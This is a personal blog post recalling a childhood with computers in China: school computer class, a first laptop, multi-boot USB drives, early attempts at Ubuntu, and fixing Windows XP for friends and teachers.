My elementary school had computer class: "microcomputer class" , as it is translated literally. Some 80+ school children wearing shoe wrappers would rush into a hot computer lab and start banging on datacenter styled plastic floor and on the keyboards. We certainly had curriculum, but I can't remember what it was because we were all too excited playing Flash games on some sketchy websites under the teacher's nose.

At some point we learned how to type (obviously) and how to manipulate Microsoft Word documents. Drawing graphics by typing commands is also part of the outcome. I wonder if China's elementary schools still have computer class in the age of iPads; and if they do, how does it differ from the class 20 years ago.

First Laptop

Fast forward to 2007, my dad brought home an ASUS 14-inch laptop and it effectively became my main computer. It was a cheap office laptop by any standard, but it was truly my first computer, which I can freely tinker with.

Around the same time we had internet access at home. I believe it was DSL PPPoE connection running at 2 Mbps down. The technician said we would need a special client on Windows in order to dial up (soon proved to be false as I connected successfully in Ubuntu).

Unlike my peers who were deeply into MMORPG games, my passion was hacking operating systems. By hacking I don't mean programming, as I'm still not a programmer as of today. I messed around with Windows XP as much as I could, trying to make it do what I wanted it to do. Eventually, at some point, I broke the stock install, and I was forced re-installing the operating system. That was when I went down the rabbit hole of "factory manufacturing" USB flash drives. With a dozen or so USB drives I collected, I flashed them using special tools, making partitions and loading multiple ISO images. I destroyed a few of them in the process, but remained largely successful. It was so satisfying that I ended up offering my magic USB drives to friends. No one was interested, obviously. However, they proved to be useful over the years and one of the USB drive remained in my pencil case to this date.

With these USB drives, I hopped among OSes with style. I ran WinPE in the USB drive to rescue system and try out live environment. I installed different variants of Windows XP ghost images that were popular in the Chinese market. Shameless to say, I swam in the sea of pirated software and operating systems. Does anyone know Deepin started out as a Windows XP image maker? Shady stuff nobody wants to bring up anymore nowadays.

My first point of contact with Linux was around that time. Back in 2008, Ubuntu already had a fairly large Chinese community around it. I got a bit bored messing around with Windows XP, and decided to try Ubuntu because it's free (as in beer; also free from safety hazardous of running pirated software). Normally I would spend hours configuring a fresh Windows XP install; I ended up spending days if not weeks configuring Ubuntu to my liking. I heavily relied on QQ (Tencent's version of ICQ) to socialize with my friends and classmates, so I had to make QQ work under Linux. The only option was using Wine, and the combination brought disaster for an absolute Linux newbie, me. I nuked and paved a few times before I finally gave up upon the idea of using Linux as a daily driver. I was not ready for Linux at that moment. However, Linux had planted a seed inside my mind; the freedom to tinker deeply attracted me and eventually made me come back some 10 years later.

The Computer Kid

During middle school, I became the computer kid who helped friends and family maintain their computers and install basic software from time to time. I would carry a USB drive in my schoolbag in case of someone needed a dose of Windows XP or Foobar2000.

The reputation spread, in ways I didn't expect. One day, one of my teachers asked me very nicely if I could help her with a wonky laptop. I was absolutely thrilled and terrified at the same time! This particular lady was famous for being super harsh on students and nobody ever wanted was to be summoned to her office. I, on the contrary, was invited. I went to her office with zero expectations, and she treated very nicely. I didn't know how to behave, so I did my job (reloading Windows XP like I did a million times) and got the hell out of there as fast as I could. After that day, though, she never gave me a hard time in her class, ever.

Oh, should I mention that I met my girlfriend - now wife - by teaching her how to troubleshoot computers over on QQ? I will save that story for another day I guess. For now, it's time to wrap up Part I.